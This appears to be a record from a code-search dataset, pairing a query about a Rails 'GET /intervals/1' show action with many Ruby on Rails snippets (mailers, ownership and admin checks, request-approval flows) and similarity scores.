you,\"\n body += \"<br> #{signature}\"\n\n # Send email to approver\n $evm.log('info', \"Sending email to <#{to}> from <#{from}> subject: <#{subject}>\")\n $evm.execute(:send_email, to, from, subject, body)\nend", "def check_mail_owner\n return if params[:id].blank? or @login_user.nil?\n\n begin\n owner_id = Email.find(params[:id]).user_id\n rescue\n owner_id = -1\n end\n if !@login_user.admin?(User::AUTH_MAIL) and owner_id != @login_user.id\n Log.add_check(request, '[check_mail_owner]'+request.to_s)\n\n flash[:notice] = t('msg.need_to_be_owner')\n redirect_to(:controller => 'desktop', :action => 'show')\n end\n end", "def active_user_or_manager_user\n if current_user && !current_user.manager? && !current_user.active?\n redirect_to(jobs_url)\n end\n end", "def existing_user_delegated_email(user)\n @user = user\n @url = building_operator_url(@user)\n mail_to @user, subject: 'You have been assigned new building tasks'\n end", "def request_role\n @user = User.find(params[:id])\n @admin = User.find_by_roles(\"Admin\")\n @user.update_attribute(:is_approved, false)\n UserMailer.request_artist(@user, @admin).deliver\n redirect_to root_url\n end", "def index\n if current_user.try(:admin?)\n @requests = Request.all\n else\n @requests = Request.find(:all, :conditions => ['requester_email = ? OR approver_email = ?', current_user.email, current_user.email])\n end\n\n end", "def firecloud_api_notification(current_status, requester=nil)\n unless Rails.application.config.disable_admin_notifications == true\n @admins = User.where(admin: true).map(&:email)\n @requester = requester.nil? ? 'no-reply@broadinstitute.org' : requester\n @current_status = current_status\n unless @admins.empty?\n mail(to: @admins, reply_to: @requester, subject: \"[Unity Admin Notification#{Rails.env != 'production' ? \" (#{Rails.env})\" : nil}]: ALERT: FIRECLOUD API SERVICE INTERRUPTION\") do |format|\n format.html\n end\n end\n end\n end", "def request_has_been_modified_by_user_to_teacher(participation_request, message)\n @message = message\n retrieve_participation_request_variables(participation_request)\n mail to: @admin.email,\n subject: (@participation_request.old_course_id.present? ? 'Changement de cours' : 'Changement de date') + \" - #{@user.name}\",\n reply_to: generate_reply_to('admin')\n end", "def send_admin_mail\n admins = Admin.all\n\n admins.each do |admin|\n if admin.reminder\n AdminMailer.new_user_waiting_for_approval(admin.email).deliver_now\n end\n end\n end", "def require_same_user\n if current_user.id != @art_plan.user_id\n flash[:danger] = \"You can only edit or delete your own art project plan\"\n redirect_to art_plans_path\n end\n end", "def active_or_manager_user_else_jobs\n if current_user && !current_user.manager? && !current_user.active?\n redirect_to(jobs_url)\n elsif current_customer && !current_customer.active?\n redirect_to(jobs_url)\n end\n end", "def send_approve_email\n 'send_approve_email'\n end", "def send_admin_notification_email(permission_requested)\n User.admins.each do |admin|\n AdminMailer.permission_request_notification(\n admin, permission_requested).deliver_now\n end\n end", "def new_data_request_notification(project_id)\n\t\tbegin\n @project = Project.find(project_id)\n lead_ids = UserProjectRole.find(:all, :conditions=>[\"project_id=? and role=?\", project_id, \"lead\"], :select=>['user_id'])\n lead_ids = lead_ids.empty? ? [] : lead_ids.collect{|x| x.user_id}\n lead_emails = User.find(:all, :conditions=>[\"id IN (?)\",lead_ids], :select=>[\"email\"])\n \n from DEFAULT_FROM\n reply_to DEFAULT_REPLY_TO\n subject \"SRDR - New Download Request Received\"\n recipients lead_emails.collect{|x| x.email}.join(\",\")\n sent_on Time.now\n\n\t\trescue Exception=>e \n puts \"ERROR SENDING REQUEST NOTIFACTION: #{e.message}\\n#{e.backtrace}\\n\\n\"\n end\n\tend", "def show\n @request = Request.find(params[:id])\n\n @current_leader_info = Leaders.find_by_email(current_user.email.strip.downcase)\n @approver_info = Leaders.find_by_email(@request.approver_email)\n\n @is_admin = (current_user.admin == true)\n if @current_leader_info && @approver_info\n @is_approver = (current_user.email.strip.downcase == @request.approver_email.strip.downcase) || (@current_leader_info.identification.to_s == @approver_info.leader_id.to_s)\n else\n @is_approver = (current_user.email.strip.downcase == @request.approver_email.strip.downcase) \n end\n @is_requester = current_user.email.strip.downcase == @request.requester_email.strip.downcase\n\n @user = User.find_by_email(@request.requester_email.strip.downcase)\n @last_month = Time.now.at_end_of_month - 1.month\n if @user\n @vacations = Vacations.find_by_identification(@user.identification)\n end\n\n unless current_user.try(:admin?) || @is_requester || @is_approver\n redirect_to requests_path, alert: 'No tiene permisos para ver este recurso'\n end\n\n end", "def requests_manage\r\n\t\t\t# Author\r\n\t\t\tauthorize! :manage, Project\r\n\r\n\t\t\t@requests = ContactRequest.project_contact.need_contact\r\n\r\n\t\t\trender layout: 'layout_back'\r\n\t\tend", "def send_email\r\n if User.exists? params[:id]\r\n @email_to_usr = User.find(params[:id])\r\n if params[:commit]\r\n if @sending_res = profile_mail_sending(params, @email_to_usr)\r\n return if @sending_res.kind_of? Hash\r\n redirecting(t(:email_redir), session[:last_page])\r\n else\r\n redirect_to_info_page t(:email_error)\r\n end\r\n return\r\n end\r\n else\r\n redirect_to_info_page\r\n end\r\n end", "def parent_registration_alert(user)\n\t\t@user = user\n\t\tsendgrid_category 'Parent Registration Alert'\n\t\tmail subject: \"Parent \\\"#{user.email}\\\" has registered\", to: ADMIN_EMAIL\n\tend", "def send_email(is_success)\n user_email = User.using_client_shard(client: @client).get_from_memcache(@edit_kyc_request.user_id).email\n\n admin_emails_for_notification = GlobalConstant::Admin.get_all_admin_emails_for(\n @user_kyc_detail.client_id,\n GlobalConstant::Admin.open_case_request_outcome_notification_type\n )\n current_admin = Admin.get_from_memcache(@edit_kyc_request.admin_id)\n\n admin_emails_for_notification << current_admin.email if current_admin.status == GlobalConstant::Admin.active_status\n admin_emails_for_notification.uniq!\n\n admin_emails_for_notification.each do |email_id|\n Email::HookCreator::SendTransactionalMail.new(\n client_id: Client::OST_KYC_CLIENT_IDENTIFIER,\n email: email_id,\n template_name: GlobalConstant::PepoCampaigns.open_case_request_outcome_template,\n template_vars: {success: is_success.to_i, email: user_email, reason_failure: \"UnWhitelist Transaction has failed\",\n case_id: @user_kyc_detail.id}\n ).perform\n end\n\n # Send internal email in case of failure\n unless is_success\n ApplicationMailer.notify(\n to: GlobalConstant::Email.default_to,\n body: \"UnWhitelist Transaction has failed\",\n data: {case_id: @edit_kyc_request.case_id, edit_kyc_table_id: @edit_kyc_request.id},\n subject: \"Exception::Something went wrong while opening case of Unwhitelisted Edit KYC request.\"\n ).deliver\n end\n end", "def update\n @project = Project.find(params[:id])\n #cid = params[:project].delete(:Client)\n #puts cid.to_s\n planned_eff = params[:planned_efforts_days].to_i*86400 + params[:planned_efforts_hours].to_i*3600\n\n if params[:member_email] && params[:member_email] != \"\"\n @user = User.where(:email => params[:member_email]).first\n if @user\n m = Membership.where(\"user_id = #{@user.id} AND project_id = #{@project.id}\")\n if m.count == 0\n m = Membership.new(:user_id => @user.id, :project_id => @project.id, :status => 0)\t# status => 0: user is invited to project\n m.save\n ProjectMailer.project_invitation(current_user, @user, @project).deliver\n\n @message = Message.new\n @message.sender = current_user\n @message.recipient = @user\n if @message.save\n content = render_to_string :partial => \"messages/project_invitation\"\n @message.update_attributes(:content => content)\n end\n\n flash[:notice] = \"User #{@user.email} added to project\"\n else\n flash[:alert] = \"User #{@user.email} is already member of the project\"\n end\n else\n flash[:alert] = \"User #{@user.email} not found\"\n end\n end\n\n respond_to do |format|\n #@project.Client_id = cid\n @project.planned_efforts = planned_eff\n if @project.update_attributes(params[:project])\n if params[:commit] == \"Add member\"\n format.html { redirect_to action: \"edit\" }\n format.js { render action: \"edit\" }\n format.json { head :no_content }\n else\n format.html { redirect_to projects_url, notice: 'Project was successfully updated.' }\n format.js\n format.json { head :no_content }\n end\n else\n format.html { render action: \"edit\" }\n format.js { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def correct_user\n @project = Project.find(params[:id])\n redirect_to(projects_path) unless current_user?(@project.user)\n end", "def update\n if @project.user==@project_user.user\n return render :json => {result: false, content: '不可更改项目创建者'}\n end\n\n if current_user==@project_user.user\n return render :json => {result: false, content: '不可更改当前用户'}\n end\n\n if user=User.find_by_email(params[:email])\n if @project_user.project.project_users.where(user_id: user.id).where.not(id: @project_user.id)\n if @project_user.update({user: user, role: params[:role]})\n render :json => {result: true, project: @project_user, content: '成功更新该成员'}\n else\n render :json => {result: false, content: @project_user.errors.messages.values.uniq.join('/')}\n end\n end\n else\n render :json => {result: false, content: '无效的用户'}\n end\n end", "def check_owner\n\n return if params[:id].blank? or @login_user.nil?\n\n mail_account = MailAccount.find(params[:id])\n\n if !@login_user.admin?(User::AUTH_MAIL) and mail_account.user_id != @login_user.id\n Log.add_check(request, '[check_owner]'+request.to_s)\n\n flash[:notice] = t('msg.need_to_be_owner')\n redirect_to(:controller => 'desktop', :action => 'show')\n end\n end", "def sendreq\n newReq = Joinrequest.new(:resolved => false, :manager_id => params[:id], :property_id => params[:pid], :tenant_id => session[:user_id])\n newReq.save\n redirect_to \"/tenants/show\"\n end", "def correct_customer_or_manager_user\n @customer = Customer.find(params[:id])\n if current_customer && current_customer?(@customer)\n # Do Nothing\n elsif current_user && current_user.manager?\n # Do Nothing\n else\n redirect_to(root_url)\n end\n end", "def sub_request\n UserMailer.sub_request\n end", "def get_next_task\n sp = current_user.service_provider\n task = sp.get_next_task(belongs_to_common_pool?,belongs_to_back_office?,belongs_to_front_office?)\n if task\n task.update_attributes(:assigned_to_user_id=>sp.user.id,:assigned_by_user_id=>nil)\n flash[:notice] = t(:flash_new_task_from_queue)\n else\n flash[:error] = t(:warning_task_not_found)\n end\n redirect_to(:action => 'index')\n end", "def requested(request)\n @software = request.software\n user = @request.user\n\n mail to: user.email, subject: I18n.t('license_mailer.requested.subject', name: @software.name)\n end", "def send_invite\n\n Email::HookCreator::SendTransactionalMail.new(\n client_id: Client::OST_KYC_CLIENT_IDENTIFIER,\n email: @invite_admin_obj.email,\n template_name: GlobalConstant::PepoCampaigns.admin_invite_template,\n template_vars: {\n inviter_name: @admin.name,\n invitee_name: @invite_admin_obj.name,\n company_name: @client.name,\n invite_token: @invite_token\n\n }\n ).perform\n\n end", "def send_reminder\n superuser = authorized? @reservation\n \n if @reservation.user != current_user && !superuser\n flash[ :alert ] = \"Reminders can only be sent by their owner, an admin, or an instructor.\"\n elsif @reservation.session.in_past? && !superuser\n flash[ :alert ] = \"Reminders cannot be sent once the session has ended.\" \n else\n @reservation.send_reminder\n flash[ :notice ] = \"A reminder has been sent to #{@reservation.user.name}.\"\n end\n \n if @reservation.user == current_user\n redirect_to reservations_path\n elsif superuser\n redirect_to sessions_reservations_path( @reservation.session )\n else\n redirect_to root_url\n end\n end", "def update\n if @request.update(request_params)\n if @request.approved == true && @request.money == false\n AdminMailer.request_approved(@request).deliver_later #this email notify at the dsga that a new request was approved\n if @request.prof.present?\n ProfMailer.request_approved(@request.prof, @request).deliver_later #if the request was made by a prof, this email will notify at the prof that his request was approved\n else\n TechnicalMailer.request_approved(@request.technical, @request).deliver_later\n end\n elsif @request.money == true && @request.arrived == false\n AdminMailer.request_money(@request).deliver_later #this email notify at the ata that a new request tool was ordered\n if @request.prof.present?\n ProfMailer.request_money(@request.prof, @request).deliver_later\n else\n TechnicalMailer.request_money(@request.technical, @request).deliver_later\n end\n end\n if @request.arrived == true\n @tool = Tool.new\n @tool.name = @request.name\n @tool.description = @request.description\n if @tool.save\n @request.photos.each do |photo|\n @photo = @tool.photos.build\n @photo.picture = photo.picture\n @photo.save\n end\n @request.documentations.each do |document|\n @document = @tool.documentations.build\n @document.name = document.name\n @document.file = document.file\n @document.save\n end\n @request.categories.each do |category|\n @tool.categories << category\n end\n if @request.prof.present?\n ProfMailer.tool_arrived(@request.prof, @tool).deliver_now\n else\n TechnicalMailer.tool_arrived(@request.technical, @tool).deliver_now\n end\n @request.destroy\n\n flash[:success]= t('.updated')\n redirect_to edit_admin_tool_path(@tool)\n else\n flash[:danger]= 'Oooops'\n redirect_to admin_request_path(@request)\n end\n else\n flash[:success]= t('.updated')\n redirect_to admin_dashboard_index_path\n end\n else\n render 'show'\n end\n end", "def assignee_email\n \tself.assignee.email if self.assignee\n end", "def approved_operator_by_admin(operator)\n @operator = operator\n mail(\n to: @operator.email,\n subject: 'JetSetGo - Approve operator by Admin'\n )\n end", "def correct_user_to_edit\n not_allow if (@job.user.id != current_user.id) \n end", "def correct_user\n\t\t@project = Project.find(params[:id])\n\t\tredirect_to(root_url) unless current_user.id === @project.owner_id || current_user.admin?\n\trescue ActiveRecord::RecordNotFound\n\t\tredirect_to projects_path\n\tend", "def create\n @project = Project.find(collaboration_params[:project_id])\n\n # if(not @project.assignment_id.nil?)\n # render plain: \"Assignments cannot have collaborators. Please contact admin.\" and return\n # end\n authorize @project, :author_access?\n\n already_present = User.where(id: @project.collaborations.pluck(:user_id)).pluck(:email)\n collaboration_emails = collaboration_params[:emails].grep(Devise.email_regexp)\n\n newly_added = collaboration_emails - already_present\n\n newly_added.each do |email|\n email = email.strip\n user = User.find_by(email: email)\n if user.nil?\n # PendingInvitation.where(group_id:@group.id,email:email).first_or_create\n else\n Collaboration.where(project_id: @project.id, user_id: user.id).first_or_create\n end\n end\n\n notice = Utils.mail_notice(collaboration_params[:emails], collaboration_emails, newly_added)\n\n notice = \"You can't invite yourself. #{notice}\" if collaboration_params[:emails].include?(current_user.email)\n\n respond_to do |format|\n format.html { redirect_to user_project_path(@project.author_id, @project.id), notice: notice }\n end\n end", "def edit_req_usecase\n @user=find_user\n if !@user.nil?\n\n status=@use_case.status\n if ((status!=\"Approved\" and params[:use_case][:status]==\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Read/Write/Approve\" or @user.privilige==\"Approve\")) or (status!=\"Approved\" and params[:use_case][:status]!=\"Approved\" and (@user.privilige!=\"Read\")) or (status==\"Approved\" and @user.privilige==\"Admin\")or (status==\"Approved\" and params[:use_case][:status]==\"Approved\" and !params[:use_case][:delivered].empty? and @user.privilige!=\"Read\"))\n @use_case.update_attributes(params[:use_case])\n\n if !params[:use_case][:status].nil?\n if (status!=\"Approved\" and params[:use_case][:status]==\"Approved\")\n\n if !current_user.nil?\n first_name=@use_case.find_user_first_name(@user.id)\n UseCase.notification_approved(current_user.id, @use_case.project_id, @use_case, first_name)\n else\n first_name=@use_case.find_member_first_name(@user.id)\n UseCase.notification_approved(@user.user_id, @use_case.project_id, @use_case, first_name)\n end\n elsif (status!=\"For Review\" and params[:use_case][:status]==\"For Review\")\n\n if !current_user.nil?\n first_name=@use_case.find_user_first_name(current_user.id)\n UseCase.notification_reviewed(current_user.id, @use_case.project_id, @use_case, first_name)\n else\n first_name=@use_case.find_member_first_name(@user.id)\n UseCase.notification_reviewed(@user.user_id, @use_case.project_id, @use_case, first_name)\n end\n elsif (status==\"Approved\" and params[:use_case][:status]!=\"Approved\")\n\n if !current_user.nil?\n first_name=@use_case.find_user_first_name(current_user.id)\n UseCase.notification_no_approved(current_user.id, @use_case.project_id, @use_case, first_name)\n else\n first_name=@use_case.find_member_first_name(@user.id)\n UseCase.notification_no_approved(@user.user_id, @use_case.project_id, @use_case, first_name)\n end\n end\n end\n respond_to do |format|\n assign_project_use\n @attr=Attribute.find_by_project_id(session[:project_id])\n @requirement=Requirement.find(session[:req_id])\n if !@requirement.nil?\n format.html { redirect_to show_usecases_url(@requirement.id) }\n else\n format.html { redirect_to requirements_path }\n end\n end\n\n else\n assign_project_use\n @attr=Attribute.find_by_project_id(session[:project_id])\n flash[:notice]= t(:use_case_no_approve)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end", "def check_owner\n\n return if params[:id].nil? or params[:id].empty? or @login_user.nil?\n\n mail_account = MailAccount.find(params[:id])\n\n if !@login_user.admin?(User::AUTH_MAIL) and mail_account.user_id != @login_user.id\n Log.add_check(request, '[check_owner]'+request.to_s)\n\n flash[:notice] = t('msg.need_to_be_owner')\n redirect_to(:controller => 'desktop', :action => 'show')\n end\n end", "def send_mail!(approval_status)\n #\n approval_status_str = status_enum.invert[approval_status]\n\n # Get request and user\n request = self.approvable\n user = request.user\n\n # cc all users in our current approval order\n cc_users = self.contacts.map{|ude|ude.email}\n\n # Add in previous contacts if we were rejected\n if approval_status == status_enum['rejected']\n cc_users += previous_contacts.map{|ude|ude.email}\n end\n # set subject header\n mail_opts = {\n :to=>user.email,\n :subject => \"#{request.class.model_name.human} for #{user.name} has been #{approval_status_str}\",\n :cc=>cc_users.uniq\n }\n\n UserMailer.send(\"#{approvable.class.name.underscore}_email\", self, mail_opts).deliver\n return true\n end", "def index\n if (current_user.department==\"IT\")\n @requests=Request.where(status:\"approved\")\n elsif(current_user.ismanager)\n @requests=Request.where(department: current_user.department)\n else\n @requests = current_user.requests\n end\n end", "def review_request(user)\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end", "def approved\n @req = Request.last\n RequestMailer.approved(@req)\n end", "def update\n respond_to do |format|\n if @case_req.update(case_requirement_params)\n\n @application_case = @case_req.application_case\n @applicants = @application_case.applicants.not_current(current_user)\n\n # Loop applicants and send a mail\n @applicants.each do |applicant|\n ApplicationCaseMailer.requirement_update(applicant.user, @case_req, current_user, @application_case).deliver\n end\n\n format.html { redirect_to @case_req.application_case, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @case_req }\n else\n format.html { render :edit }\n format.json { render json: @rcase_reqole.errors, status: :unprocessable_entity }\n end\n end\n end", "def notify_manager(task_submission)\n @submitter = task_submission.submitter\n @manager = @submitter.manager\n I18n.with_locale(@manager.locale) do\n mail(to: @manager.email, subject: I18n.t(\"tskz.notifier.requesting_approval_of_tasks\", name: @submitter.full_name), track_opens: true)\n end\n end", "def report_request\n @subject = report_request_params[:subject]\n @requester = report_request_params[:requester]\n @message = report_request_params[:message]\n\n SingleCellMailer.admin_notification(@subject, @requestor, @message).deliver_now\n end", "def purchase_more_tokens(opportunity_id, user_id)\n @opportunity = Opportunity.find(opportunity_id)\n @user = User.find(user_id)\n @requester = User.find(@opportunity.user_id)\n mail(to: [@user.email, @requester.email] , subject: 'Request to purchase MOBEEAS Tokens')\n\n end", "def reminder_to_request_departmental_approval(name, email)\n @name = name\n\n mail(to: email, subject: 'Department approval may be needed')\n end", "def response_request(leaveapplication)\n @leaveapplication = leaveapplication \n mail :to=> User.find(@leaveapplication.user_id).email.to_s,:cc=> \"abhijeet@drupaltechie.com\",:subject=>\"Response\"\n end", "def send_email(commented_on_user_model, commenting_user_id, email_subject, email_text)\n commenting_user = User.find(commenting_user_id)\n # create email and send it to right recipients depending on their roles\n if is_internal?\n # mail going from us to client\n UserMailer.comment_email_from_us(commented_on_user_model, commenting_user,\n email_subject, email_text).deliver\n else\n # mail from client to us, get user email id\n UserMailer.comment_email_to_us(commented_on_user_model, commenting_user,\n email_subject, email_text).deliver\n end\n end", "def send_denied_email\n return if (!@client.is_email_setup_done?) || (!@client.client_kyc_config_detail.auto_send_kyc_deny_email?)\n if @user_kyc_detail.kyc_denied?\n @user = User.using_client_shard(client: @client).\n where(client_id: @client_id, id: @user_kyc_detail.user_id).first\n Email::HookCreator::SendTransactionalMail.new(\n client_id: @client.id,\n email: @user.email,\n template_name: GlobalConstant::PepoCampaigns.kyc_denied_template,\n template_vars: {}\n ).perform\n end\n end", "def membership_invite_request_action_message(approval_allowed, is_invite, username_dropdown)\n if approval_allowed \n if is_invite\n return \"You have received an invitation to become a member of:\"\n else\n return \"#{username_dropdown} has sent you a request to join:\"\n end\n else\n if is_invite\n return \"You have invited #{username_dropdown} to join:\" \n else\n return \"You have requested to become a member of:\"\n end\n end\n end", "def update\n user = User.find_by_id(params[:id])\n if params[:organization_id]\n user.pending_organization_id = params[:organization_id]\n user.save!\n org = Organization.find(params[:organization_id])\n flash[:notice] = \"You have requested admin status for #{org.name}\"\n redirect_to(organization_path(params[:organization_id]))\n else\n redirect_to :status => 404 and return unless current_user.admin?\n user.promote_to_org_admin\n flash[:notice] = \"You have approved #{user.email}.\"\n redirect_to(users_path)\n end\n end", "def send_ticket_email(task, user)\n #Send Email to Project Manager(s)\n TaskMailer.with(task: @task).new_ticket_created_admins.deliver_later\n #Send Email to the user\n TaskMailer.with(task: @task, user_id: user).new_ticket_created_user.deliver_later\n end", "def task_assigned(user, task)\n @user = user\n @task = task\n \n mail(:to => user.email, :subject => \"A task has been assigned to you\") \n end", "def change_log_email(milestone, sender, user)\n\n @project = milestone.project\n @milestone = milestone\n @resolved_tickets = milestone.tickets.completed.sorted_by_due_date\n @user = user\n\n sender_name = sender.name\n sender_email = if sender.email_addresses.primary.blank? || sender.email_addresses.primary.address.blank?\n 'noreply@unifyhq.com'\n else\n sender.email_addresses.primary.address\n end\n\n mail(to: \"#{user.name} <#{user.email_addresses.primary.address}>\", from: \"#{sender_name} <#{sender_email}>\", subject: \"#{milestone.project.name}: #{milestone.name} Change Log\")\n end", "def leave_request_cm_email(user, counsellor)\n @user = user\n mail( :to => @request.user.counsellor.email,\n :subject => 'New leave request(s)' )\n end", "def set_task\n @task = Task.includes(:project).find(params[:id])\n if @task.project.user != current_user\n render plain: '', status: :forbidden\n end\n end", "def send_update_email(artifact)\n @artifact = artifact\n list = []\n @artifact.project.users.each do |apu|\n list << apu.email\n end\n mail( :to => list,\n :subject => 'There is an update in your user area.' )\n end", "def correct_user\n if @submission.user != current_user.sk && !current_user.sk.admin && (!current_user.sk.corrector || !current_user.sk.pb_solved?(@problem))\n render 'errors/access_refused' and return\n end\n end", "def requestee_user\n unless @friendship.requested == current_user\n flash[:warning] = \"You are not authorized.\"\n redirect_to root_path\n end\n end", "def correct_employee\n\t\tparams[:id]==current_user\n\tend" ]
[ "0.68854", "0.6523105", "0.6332865", "0.62843895", "0.62825876", "0.62142384", "0.6180528", "0.61587936", "0.6148605", "0.6063049", "0.60549706", "0.60544926", "0.60397464", "0.6033936", "0.602889", "0.6026375", "0.6009743", "0.59850353", "0.59807867", "0.59780246", "0.5973139", "0.5964674", "0.59508026", "0.59388417", "0.5929314", "0.5926036", "0.59207577", "0.59193873", "0.59050393", "0.5896941", "0.58744794", "0.5834675", "0.58291703", "0.5826648", "0.5816764", "0.5795737", "0.57690406", "0.5767004", "0.575739", "0.5754059", "0.5743075", "0.57383937", "0.5738216", "0.57340014", "0.57001585", "0.5700084", "0.5694839", "0.5684351", "0.5681619", "0.56779754", "0.56759864", "0.5675926", "0.56737775", "0.5665688", "0.5647663", "0.56452143", "0.56415814", "0.5636127", "0.56293553", "0.5628461", "0.561486", "0.56144285", "0.5613681", "0.56123513", "0.5609881", "0.5601977", "0.5594239", "0.55928487", "0.55913305", "0.55882484", "0.55862916", "0.558415", "0.5577334", "0.55740654", "0.55718714", "0.5568701", "0.55661124", "0.55635315", "0.55581594", "0.55576617", "0.55506", "0.55504656", "0.5546432", "0.55449456", "0.5541695", "0.55356556", "0.55328184", "0.55243677", "0.5522957", "0.5518842", "0.55097914", "0.5507179", "0.55009264", "0.5495799", "0.549575", "0.5494955", "0.5493906", "0.5490026", "0.5489221", "0.5487726" ]
0.6561742
1
GET /intervals/1 GET /intervals/1.json
def show @interval = Interval.find(params[:id]) respond_to do |format| format.html # show.html.erb format.json { render json: @interval } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def intervals\n rest.get instrument_path('activeIntervals')\n end", "def show\n Interval.find(params[:id])\n end", "def get_interval_data(sensor_id, access_token, interval)\n data= MySmartGrid.get(\n \"/sensor/#{sensor_id}?interval=#{interval}&resolution=minute&unit=watt\",\n :headers => { \"X-Version\" => \"1.0\", \n \"X-Token\" => access_token,\n \"Accept\" => \"application/json\"\n });\n return JSON.parse(data.body)\n end", "def parse_intervals\n intervals = Array.new\n headers_index = 16\n data_index = headers_index + 1\n headers = @data[headers_index].map!(&:underscore)\n current_interval = nil\n @data[data_index,@data.size].map.with_index do |r,i|\n if r.empty?\n @_interval_sample_index = data_index + i + 1\n break\n else\n zipped = (headers).zip(@data[data_index + i])\n i = WFWorkoutInterval.new\n Hash[zipped].map { |k,v|\n if k == \"interval\"\n if current_interval == v\n i.subinterval = true\n else\n i.subinterval = false\n end\n current_interval = v\n end\n i.instance_variable_set(\"@#{k}\",v)\n }\n intervals.push(i)\n end\n end\n return intervals\n end", "def new\n @interval = Interval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interval }\n end\n end", "def set_interval\n @interval = Interval.find(params[:id])\n end", "def create\n @interval = Interval.new(params[:interval])\n\n respond_to do |format|\n if @interval.save\n format.html { redirect_to @interval, notice: 'Interval was successfully created.' }\n format.json { render json: @interval, status: :created, location: @interval }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def interval\n if @interval\n @interval\n elsif !self[Incident.interval_predicate].empty?\n @interval = Interval.find(self[Incident.interval_predicate].first)\n else\n nil\n end\n end", "def create\n @interval = Interval.new(interval_params)\n\n respond_to do |format|\n if @interval.save\n format.html { redirect_to @interval, notice: 'Interval was successfully created.' }\n format.json { render :show, status: :created, location: @interval }\n else\n format.html { render :new }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def intervals_in_range\n @user.intervals\n .where('DATE(time_in) BETWEEN ? AND ?', @date_range.begin.to_date, @date_range.end.to_date)\n .order(:time_in)\n end", "def interval_param\n \"interval:auto\"\n end", "def get_interval(interval)\n case interval\n when :custom\n return {}\n when :hourly\n @start = (@run_time - 1.hour).beginning_of_hour\n @end = (@run_time - 1.hour).end_of_hour\n return {@field => @start..@end}\n when :daily\n @start = @run_time.yesterday.beginning_of_day\n @end = @run_time.yesterday.end_of_day\n return {@field => @start..@end}\n when :weekly\n @start = @run_time.yesterday.beginning_of_week\n @end = @run_time.yesterday.end_of_week\n return {@field => @start..@end}\n when :monthly\n @start = @run_time.yesterday.beginning_of_month\n @end = @run_time.yesterday.end_of_month\n return {@field => @start..@end}\n when :yearly\n @start = @run_time.yesterday.beginning_of_year\n @end = @run_time.yesterday.end_of_year\n return {@field => @start..@end}\n end\n end", "def poll_intervals\n [0.5, 1, 2, 4, 8, 16]\n end", "def get_work_intervals(intervals)\n intervals\n .group_by do |interval|\n interval.time_in.to_date\n end\n .values\n end", "def intervals\n @intervals ||= BoardInterval.find_all(interval_set.members)\n end", "def index\n @stock_intervals = StockInterval.all\n end", "def valid_intervals\n VALID[:interval]\n end", "def index\n @interval_constraints = IntervalConstraint.all\n end", "def interval\n @attributes[:interval]\n end", "def get_periods(id, starts: nil, ends: nil, threshold:, operation:)\n params = {:start => starts, :end => ends, :threshold => threshold, :op => operation}\n params.delete_if { |k, v| v.nil? }\n @client.http_get(\"/#{@resource}/#{id}/periods?\"+URI.encode_www_form(params))\n end", "def intervals\n parts = {}\n [:minute, :hour, :day, :month, :day_of_week].each do |granularity|\n if times = times_for(granularity)\n parts[granularity] = times\n end\n end\n\n merged_product parts\n # interval_list.concat times.map {|t| {granularity => t} }\n # m = expression[:minute]\n # m.split(\",\").each do |part|\n # time, divisor = part.split(\"/\")\n # start_time, end_time = time.split \"-\"\n\n # interval_list << {:minute => start_time.to_i}\n # end\n end", "def update\n @interval = Interval.find(params[:id])\n\n respond_to do |format|\n if @interval.update_attributes(params[:interval])\n format.html { redirect_to @interval, notice: 'Interval was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interval.errors, status: :unprocessable_entity }\n end\n end\n end", "def initialize(intervals)\n @intervals = Utils::Ring.wrap(intervals)\n end", "def intervals\n #query = \"SELECT idschool,codesc,nomeesc,bairro,end_esc\"\n #query = query + \",num_esc,ab1em_14,ap3em_14,enem2013,longitude,latitude FROM schoolbs\"\n query = \"SELECT * FROM (SELECT row_number() OVER (ORDER BY s.enem2013 DESC nulls last) as ranking,\"\n query = query + \" idschool,codesc,nomeesc,bairro,end_esc,num_esc,ab1em_14,ap3em_14,enem2013,nomemun,telefone,cep,\"\n query = query + \" CASE WHEN biblio>0 THEN 'SIM' ELSE 'NÃO' END as id_biblio,\"\n query = query + \" CASE WHEN lab_inf>0 THEN 'SIM' ELSE 'NÃO' END as id_lab_inf,\"\n query = query + \" longitude,latitude FROM schoolbs s) t1 LEFT JOIN ( SELECT schoolb_id, NULLIF(AVG(value),0.0)\"\n query = query + \" as stars FROM qualifications GROUP BY schoolb_id) t2 ON t1.idschool = t2.schoolb_id\"\n query = query + \" WHERE t1.\" + params[:test] + \" >= \" + params[:lo] + \" AND t1.\" + params[:test] + \" <= \" + params[:hi];\n #render html: query\n @schoolbs = Schoolb.find_by_sql(query)\n end", "def interval; end", "def interval; end", "def stop\n if @started_at\n returning [@started_at, Time.now] do |interval|\n @intervals << interval\n @started_at = nil\n end\n end\n end", "def subintervals(intervals, &block)\n raise ArgumentError.new('intervals must be an array') unless intervals.is_a? Array\n\n steps = [] # Steps will be extracted from intervals\n subintervals = [] # The output\n last_time = nil\n last_attrs = nil\n started_count = 0 # The number of intervals opened inside the cycle\n\n # Extract start times and end times from intervals, and create steps\n intervals.each do |el|\n begin\n ts = el[:time_start].to_time\n te = el[:time_end].to_time\n rescue NoMethodError\n raise ArgumentError.new('intervals must define :time_start and :time_end as Time or Date')\n end\n attrs = el.clone\n attrs.delete(:time_start)\n attrs.delete(:time_end)\n steps << { opening: 1, time: el[:time_start], attrs: attrs } # Start step\n steps << { opening: -1, time: el[:time_end], attrs: attrs.clone } # End step\n end\n\n # Sort steps by time (and opening if time is the same)\n steps.sort! do |a,b|\n diff = a[:time] <=> b[:time]\n diff = a[:opening] <=> b[:opening] if (diff == 0)\n diff\n end\n\n # Iterate over steps\n steps.each do |step|\n if (started_count == 0)\n last_time = step[:time]\n last_attrs = step[:attrs]\n else\n if(step[:time] > last_time)\n subintervals << ({\n time_start: last_time,\n time_end: step[:time]\n }.merge(last_attrs))\n\n last_time = step[:time]\n end\n\n if block_given?\n last_attrs = block.call(last_attrs.clone, step[:attrs],(step[:opening] == 1 ? :open : 